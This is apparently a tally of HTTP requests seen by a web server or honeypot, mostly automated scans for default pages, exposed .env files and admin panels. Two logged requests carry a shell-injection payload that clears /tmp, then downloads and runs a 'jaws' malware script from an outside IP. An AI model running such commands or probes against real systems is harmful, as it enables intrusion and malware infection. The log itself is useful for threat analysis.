HTTP/1.1 |
| 1 | GET | /base.html |
HTTP/1.1 |
| 1 | GET | /base.inc |
HTTP/1.1 |
| 1 | GET | /base.jhtml |
HTTP/1.1 |
| 1 | GET | /base.jsa |
HTTP/1.1 |
| 1 | GET | /base.jsp |
HTTP/1.1 |
| 1 | GET | /base.php |
HTTP/1.1 |
| 1 | GET | /base.pl |
HTTP/1.1 |
| 1 | GET | /base.shtml |
HTTP/1.1 |
| 1 | GET | /blog/.env |
HTTP/1.1 |
| 3 | GET | /cgi-bin/downloadFlile.cgi |
HTTP/1.1 |
| 1 | GET | /client/get_targets |
HTTP/1.1 |
| 1 | GET | /conf/.env |
HTTP/1.1 |
| 1 | GET | /database/.env |
HTTP/1.1 |
| 1 | GET | /default.asp |
HTTP/1.1 |
| 1 | GET | /default.aspx |
HTTP/1.1 |
| 1 | GET | /default.cfm |
HTTP/1.1 |
| 1 | GET | /default.cgi |
HTTP/1.1 |
| 1 | GET | /default.html |
HTTP/1.1 |
| 1 | GET | /default.jhtml |
HTTP/1.1 |
| 1 | GET | /default.jsa |
HTTP/1.1 |
| 1 | GET | /default.jsp |
HTTP/1.1 |
| 1 | GET | /default.php |
HTTP/1.1 |
| 1 | GET | /default.pl |
HTTP/1.1 |
| 1 | GET | /default.shtml |
HTTP/1.1 |
| 1 | GET | /docs/cplugError.html/ |
HTTP/1.1 |
| 1 | GET | /druid/index.html |
HTTP/1.1 |
| 3 | GET | /favicon.ico |
HTTP/1.1 |
| 1 | GET | /geoserver/web/ |
HTTP/1.1 |
| 1 | GET | /home.asp |
HTTP/1.1 |
| 1 | GET | /home.aspx |
HTTP/1.1 |
| 1 | GET | /home.cfm |
HTTP/1.1 |
| 1 | GET | /home.cgi |
HTTP/1.1 |
| 1 | GET | /home.html |
HTTP/1.1 |
| 1 | GET | /home.jhtml |
HTTP/1.1 |
| 1 | GET | /home.jsa |
HTTP/1.1 |
| 1 | GET | /home.jsp |
HTTP/1.1 |
| 1 | GET | /home.php |
HTTP/1.1 |
| 1 | GET | /home.pl |
HTTP/1.1 |
| 1 | GET | /home.shtml |
HTTP/1.1 |
| 1 | GET | /index.asp |
HTTP/1.1 |
| 1 | GET | /index.aspx |
HTTP/1.1 |
| 1 | GET | /index.cfm |
HTTP/1.1 |
| 1 | GET | /index.cgi |
HTTP/1.1 |
| 1 | GET | /index.html |
HTTP/1.1 |
| 1 | GET | /index.jhtml |
HTTP/1.1 |
| 1 | GET | /index.jsa |
HTTP/1.1 |
| 1 | GET | /index.jsp |
HTTP/1.1 |
| 1 | GET | /index.php |
HTTP/1.1 |
| 1 | GET | /index.pl |
HTTP/1.1 |
| 1 | GET | /index.shtml |
HTTP/1.1 |
| 1 | GET | /indice.asp |
HTTP/1.1 |
| 1 | GET | /indice.aspx |
HTTP/1.1 |
| 1 | GET | /indice.cfm |
HTTP/1.1 |
| 1 | GET | /indice.cgi |
HTTP/1.1 |
| 1 | GET | /indice.html |
HTTP/1.1 |
| 1 | GET | /indice.jhtml |
HTTP/1.1 |
| 1 | GET | /indice.jsa |
HTTP/1.1 |
| 1 | GET | /indice.jsp |
HTTP/1.1 |
| 1 | GET | /indice.php |
HTTP/1.1 |
| 1 | GET | /indice.pl |
HTTP/1.1 |
| 1 | GET | /indice.shtml |
HTTP/1.1 |
| 1 | GET | /info.php |
HTTP/1.1 |
| 1 | GET | /inicio.asp |
HTTP/1.1 |
| 1 | GET | /inicio.aspx |
HTTP/1.1 |
| 1 | GET | /inicio.cfm |
HTTP/1.1 |
| 1 | GET | /inicio.cgi |
HTTP/1.1 |
| 1 | GET | /inicio.html |
HTTP/1.1 |
| 1 | GET | /inicio.jhtml |
HTTP/1.1 |
| 1 | GET | /inicio.jsa |
HTTP/1.1 |
| 1 | GET | /inicio.jsp |
HTTP/1.1 |
| 1 | GET | /inicio.php |
HTTP/1.1 |
| 1 | GET | /inicio.pl |
HTTP/1.1 |
| 1 | GET | /inicio.shtml |
HTTP/1.1 |
| 1 | GET | /localstart.asp |
HTTP/1.1 |
| 1 | GET | /localstart.aspx |
HTTP/1.1 |
| 1 | GET | /localstart.cfm |
HTTP/1.1 |
| 1 | GET | /localstart.cgi |
HTTP/1.1 |
| 1 | GET | /localstart.html |
HTTP/1.1 |
| 1 | GET | /localstart.jhtml |
HTTP/1.1 |
| 1 | GET | /localstart.jsa |
HTTP/1.1 |
| 1 | GET | /localstart.jsp |
HTTP/1.1 |
| 1 | GET | /localstart.php |
HTTP/1.1 |
| 1 | GET | /localstart.pl |
HTTP/1.1 |
| 1 | GET | /localstart.shtml |
HTTP/1.1 |
| 1 | GET | /main.asp |
HTTP/1.1 |
| 1 | GET | /main.aspx |
HTTP/1.1 |
| 1 | GET | /main.cfm |
HTTP/1.1 |
| 1 | GET | /main.cgi |
HTTP/1.1 |
| 1 | GET | /main.html |
HTTP/1.1 |
| 1 | GET | /main.jhtml |
HTTP/1.1 |
| 1 | GET | /main.jsa |
HTTP/1.1 |
| 1 | GET | /main.jsp |
HTTP/1.1 |
| 1 | GET | /main.php |
HTTP/1.1 |
| 1 | GET | /main.pl |
HTTP/1.1 |
| 1 | GET | /main.shtml |
HTTP/1.1 |
| 1 | GET | /manager/html |
HTTP/1.1 |
| 1 | GET | /menu.asp |
HTTP/1.1 |
| 1 | GET | /menu.aspx |
HTTP/1.1 |
| 1 | GET | /menu.cfm |
HTTP/1.1 |
| 1 | GET | /menu.cgi |
HTTP/1.1 |
| 1 | GET | /menu.html |
HTTP/1.1 |
| 1 | GET | /menu.jhtml |
HTTP/1.1 |
| 1 | GET | /menu.jsa |
HTTP/1.1 |
| 1 | GET | /menu.jsp |
HTTP/1.1 |
| 1 | GET | /menu.php |
HTTP/1.1 |
| 1 | GET | /menu.pl |
HTTP/1.1 |
| 1 | GET | /menu.shtml |
HTTP/1.1 |
| 1 | GET | /nmaplowercheck1678240715 |
HTTP/1.1 |
| 1 | GET | /p7tA |
HTTP/1.1 |
| 1 | GET | /pools/default/buckets |
HTTP/1.1 |
| 1 | GET | /pools |
HTTP/1.1 |
| 1 | GET | /readme.txt |
HTTP/1.1 |
| 1 | GET | /robots.txt |
HTTP/1.1 |
| 1 | GET | /server-status |
HTTP/1.1 |
| 1 | GET | /shell?cd+/tmp;rm+-rf+*;wget+ 100.43.163.61/jaws;sh+/tmp/jaws |
|
| 1 | GET | /shell?cd+/tmp;rm+-rf+*;wget+45[.]77[.]243[.]49/jaws;sh+/tmp/jaws |
HTTP/1.1 |
| 1 | GET | /sites/.env |
HTTP/1.1 |
| 1 | GET | /start.asp |
HTTP/1.1 |
| 1 | GET | /start.aspx |
HTTP/1.1 |
| 1 | GET | /start.cfm |
HTTP/1.1 |
| 1 | GET | /start.cgi |
HTTP/1.1 |
| 1 | GET | /start.html |
HTTP/1.1 |
| 1 | GET | /start.jhtml |
HTTP/1.1 |
| 1 | GET | /start.jsa |
HTTP/1.1 |
| 1 | GET | /start.jsp |
HTTP/1.1 |
| 1 | GET | /start.php |
HTTP/1.1 |
| 1 | GET | /start.pl |
HTTP/1.1 |
| 1 | GET | /start.shtml |
HTTP/1.1 |
| 1 | GET | /web/.env |
HTTP/1.1 |
| 1 | GET | /wp-admin/.env |
HTTP/1.1 |
| 1 | GET | default.asp |
HTTP/1.1 |
| 1 | GET | http[:]//5[.]188[.]210[.]227/echo.php |
HTTP/1.1 |
| 2 | HEAD | / |
HTTP/1.1 |
| 1 | HEAD | /robots.txt |
HTTP/1.0 |
| 1 | OPTIONS | / |
HTTP/1.0 |
| 1 | POST | /app |
HTTP/1.1 |
| 1 | POST | /blog |
HTTP/1.1 |
| 2 | POST | /boaform/admin/formLogin |
HTTP/1.1 |
| 1 | POST | /conf |
HTTP/1.1 |
| 1 | POST | /database |
HTTP/1.1 |
| 1 | POST | /scripts/WPnBr.dll |
HTTP/1.1 |
| 1 | POST | /sdk |
HTTP/1.1 |
| 1 | POST | /sites |
HTTP/1.1 |
| 1 | POST | /web |
HTTP/1.1 |
| 1 | POST | /wp-admin |
HTTP/1.1 |
| 1 | PRI | * |
HTTP/2.0 |
